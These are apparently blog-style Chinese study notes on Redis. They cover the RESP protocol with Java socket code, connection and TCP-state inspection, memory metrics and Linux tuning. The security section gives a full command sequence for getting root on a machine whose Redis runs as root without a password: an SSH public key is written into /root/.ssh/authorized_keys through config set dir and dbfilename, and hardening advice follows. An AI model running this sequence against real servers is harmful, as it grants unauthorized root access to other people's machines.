Redis
1、Redis module
Module 通过使用外部模块和自定义的 Redis 命令来扩展 Redis 的能力,在 Redis 4.0 版本引入。
1.1 RedisJSON安装使用
Docker安装
docker run -d -p 6379:6379 --name redis-redisjson redislabs/rejson:latest
常规安装
redis-server --loadmodule /usr/lib/redis/module/rejson.so
1.2 Redis配置
开启AOF
config set appendonly yes
1.3 使用
JSON.SET user . '{"name":"b2b","age":9}'
JSON.GET user name
2、Redis 协议
RESP(REdis Serialization Protocol,Redis序列化协议),协议内容
*4 // * + (入参长度 + 1)
$8 // $ + (命令长度 + 1)
JSON.SET // 命令
$4 // $ + 入参长度
user // 入参
$1 // $ + 入参长度
. // 入参
$23 // $ + 入参长度
{"name":"lcj","age":23} // 入参
---------------------------总结------------------------------------
* args.length
$ args[0].length
args[0]
$ args[1].length
args[1]
....
源码redis.clients.jedis.Protocol#sendCommand(redis.clients.util.RedisOutputStream, byte[], byte[]...)
private static void sendCommand(final RedisOutputStream os, final byte[] command,
final byte[]... args) {
try {
os.write(ASTERISK_BYTE);
os.writeIntCrLf(args.length + 1);
os.write(DOLLAR_BYTE);
os.writeIntCrLf(command.length);
os.write(command);
os.writeCrLf();
for (final byte[] arg : args) {
os.write(DOLLAR_BYTE);
os.writeIntCrLf(arg.length);
os.write(arg);
os.writeCrLf();
}
} catch (IOException e) {
throw new JedisConnectionException(e);
}
}
Socket 实现
public void jsonTest() throws IOException {
Socket socket = new Socket("10.2.158.21",6379);
socket.setKeepAlive(true);
InputStream read = socket.getInputStream();
OutputStream write = socket.getOutputStream();
write.write("*4".getBytes());
write.write("\r\n".getBytes());
write.write("$8".getBytes());
write.write("\r\n".getBytes());
write.write("JSON.SET".getBytes());
write.write("\r\n".getBytes());
write.write("$4".getBytes());
write.write("\r\n".getBytes());
write.write("user".getBytes());
write.write("\r\n".getBytes());
write.write("$1".getBytes());
write.write("\r\n".getBytes());
write.write(".".getBytes());
write.write("\r\n".getBytes());
write.write("$23".getBytes());
write.write("\r\n".getBytes());
write.write("{\"name\":\"lcj\",\"age\":23}".getBytes());
write.write("\r\n".getBytes());
write.flush();
byte[] arr = new byte[1024];
int len = read.read(arr);
System.out.println(new String(arr,0,len));
}
2.1 Redis连接
客户端连接Redis
# 二者都可以获取连接数
redis-cli client list | wc -l # 可以查看明细
info clients # 只是一个总数
Docker容器查看
# 获取进程号
docker inspect -f {{.State.Pid}} redis
# 进入某个进程的network namespace
nsenter -n -t {pid}
# 查看tcp连接
netstat -t
PROC查看
cat /proc/{pid}/net/tcp
lsof
# 查看6379端口分配了的文件描述符
lsof -i:6379
# 查看pid进程分配了的文件描述符
lsof -p pid
3、TCP连接状态
LISTENING
FTP服务启动后首先处于侦听(LISTENING)状态。
ESTABLISHED
ESTABLISHED的意思是建立连接。表示两台机器正在通信。
CLOSE_WAIT
对方关闭连接,导致我方状态变为CLOSE_WAIT(之前未关闭Redis连接,客户端网络连接状态就是CLOSE_WAIT)
TIME_WAIT
我方主动断开连接
FIN-WAIT-2
从远程TCP等待连接中断请求
演示
redis 配置
# 10s关闭空闲连接
config set timeout 10
Java代码
public static void main(String[] args) throws InterruptedException {
JedisPoolConfig config = new JedisPoolConfig();
config.setMaxTotal(10);
config.setMaxIdle(2);
config.setMinIdle(1);
config.setMaxWaitMillis(1000);
config.setMinEvictableIdleTimeMillis(10000);
config.setTimeBetweenEvictionRunsMillis(30000);
JedisPool pool = new JedisPool(config,"ip地址",6379);
List<Jedis> list = Lists.newArrayList();
IntStream.rangeClosed(1,10).forEach(i -> list.add(pool.getResource()));
System.out.println("------------断点查看网络连接数,timeout=10--------------");
list.forEach(Jedis::close);
Thread.currentThread().join();
}
客户端 NETSTAT /an | findstr 6379
TCP 192.168.17.1:65490 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65491 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65492 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65493 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65494 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65495 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65496 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65497 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65498 192:6379 CLOSE_WAIT
TCP 192.168.17.1:65499 192:6379 CLOSE_WAIT
4、内存 常见命令
4.1 查看内存
通过info memory
查看 内存信息
used_memory:159833408
used_memory_human:152.43M
used_memory_rss:166608896
used_memory_rss_human:158.89M
maxmemory:0
maxmemory_human:0B
mem_fragmentation_ratio:1.04
- used_memory 已用内存
- used_memory_human 人类易于理解方式used_memory 的值
- used_memory_rss 操作系统层面分配的内存
- maxmemory 最大内存,0表示不限制,推荐最大物理内存 减去 2~3G(系统占用 + Redis线程自身占用 + 数据备份FORK的线程)
- mem_fragmentation_ratio mem_fragmentation_ratio =used_memory_rss/used_memor
mem_fragmentation_ratio
大于1表示操作系统分配的部分内存没有被用于存储数据,而是被内存碎片消耗,如果该值过大,说明碎片严重
mem_fragmentation_ratio
小于1,存在两种情况,一是Redis 使用了Swap内存(虚拟内存,硬盘存储),这种情况需格外注意,因为硬盘读写速度远小于内存,导致Redis性能下降严重,此时需要查看该Redis进程使用的Swap大小,如果Swap值为0,则是另外一种情况,参见:https://github.com/redis/redis/issues/946
# 查看整个系统Swap使用情况
free -h
# 查看线程使用Swap
cat /proc/{pid}/status | grep -i swap
mem_fragmentation_ratio
` 保持在(1~1.25),过大可以通过安全重启方式解决。
5、安全
[图片上传失败...(image-a3ed8-1654160308897)]
通过Redis获取机器目标机器root权限
Redis需符合以下条件:
- 没有设置密码
- 使用root账号启动
- 可以正常访问
# 失败
linux> ssh root@10.2.158.20
redis> flushall
# /root/.ssh生成 rsa类型的公钥和私钥
linux> ssh-keygen -t rsa
linux> (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# -x 表示将 cat my.pub输出作为 参数
linux> cat my.pub | redis-cli -h ip地址 -p 6379 -x set crackit
# 设置 持久化文件的存储目录
redis> config set dir /root/.ssh
# 设置 持久化文件名
redis> config set dbfilename authorized_keys
redis> save
# 成功
linux> ssh root@ip地址
防护
- 配置复杂密码(长度要长) redis.conf 配置 requirepass设置值,长度要长,复杂多要高
- rename 关键命令,如 flushall、flushdb、config等,改为"" 表禁用
- bind 为redis内网网卡所属IP
- 非root权限用户启动Redis
- 定时备份数据...
6、优化
1、ulimit
查看限制信息
ulimit -a
# 查看系统级别打开文件数量最大限制
cat /proc/sys/fs/file-max
修改 open file
# 临时修改
ulimit -HSn 65535
# 永久修改
echo ' * - nofile 65535' >> /etc/security/limits.conf
修改redis
config get maxclients # 默认 10000
config set maxclients 60000 # 临时调整为 60000,永久需至配置文件中修改
2、overcommit
Linux操作系统,对大部分申请内存的请求都回复yes,以便能运行更多的程序。因为申请内存后,并不会马上使用内存,这种技术叫做overcommit。
查看与设置
cat /proc/sys/vm/overcommit_memory
echo "vm.overcommit_memory=1" >> /etc/sysctl.conf
sysctl vm.overcommit_memory=1
修改redis
config get maxmemory
# 默认 0,不限制 设置格式: maxmemory 1000KB maxmemory 1G...
# 最大内存配置需保障机器有20-30%闲置内存(redis线程 + redis内存数据(maxmemory) + fork备份数据)
config set maxmemory 60000 # 临时调整为 60000,永久需至配置文件中修改
3、tcp-backlog
tcp-backlog 已完成连接队列的长度
查看与设置
cat /proc/sys/net/core/somaxconn
echo 2048 > /proc/sys/net/core/somaxconn
修改Redis
config get tcp-backlog
config set tcp-backlog 2048
参考资料
官网英文版 https://redis.io/modules
官网中文版 http://www.redis.cn/
自定义Module https://blog.csdn.net/weixin_40785301/article/details/122629052
RedisJSON入门 https://www.jianshu.com/p/02931dafb1ce
查看Docker TCP连接数 https://www.cnblogs.com/nanxiang/p/14807774.html
TCP 连接状态 https://blog.csdn.net/qq_40907977/article/details/103878127
ratio 小于1问题 https://github.com/redis/redis/issues/946
网友评论